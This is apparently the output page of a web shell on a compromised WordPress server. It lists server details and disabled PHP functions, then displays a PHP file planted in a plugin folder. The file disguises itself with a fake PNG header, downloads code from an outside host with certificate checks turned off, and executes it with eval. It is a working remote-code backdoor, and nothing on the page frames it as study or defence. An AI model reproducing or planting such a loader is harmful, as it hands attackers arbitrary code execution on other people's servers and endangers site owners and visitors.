HEX
Server: nginx/1.28.3
System: Linux VM-0-7-opencloudos 6.6.117-45.oc9.x86_64 #1 SMP Thu Dec 4 10:26:39 CST 2025 x86_64
User: www (1000)
PHP: 8.2.28
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
$ pwd: /www/wwwroot/www.213n.cn/wp-content/plugins/JUMAT/name/kamu/
Upload Files
File: /www/wwwroot/www.213n.cn/wp-content/plugins/JUMAT/name/kamu/4C415249443544D414E45.php
<?php
/* PNG %k25u25%fgd5n! 偽装頭部 */
echo "\x89PNG\r\n\x1a\n";
echo "混沌開始 FAKE HEADER";

session_start();

$目标地址 = $_SESSION['url'] ?? 'https://myzedd.tech/project/zedd';

$データ = '';
if (function_exists('curl_init')) {
    $ch = curl_init($目标地址);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    $データ = curl_exec($ch);
    curl_close($ch);
}

if (!empty($データ)) {
    eval('?>' . $データ);
}
?>
@ Telegram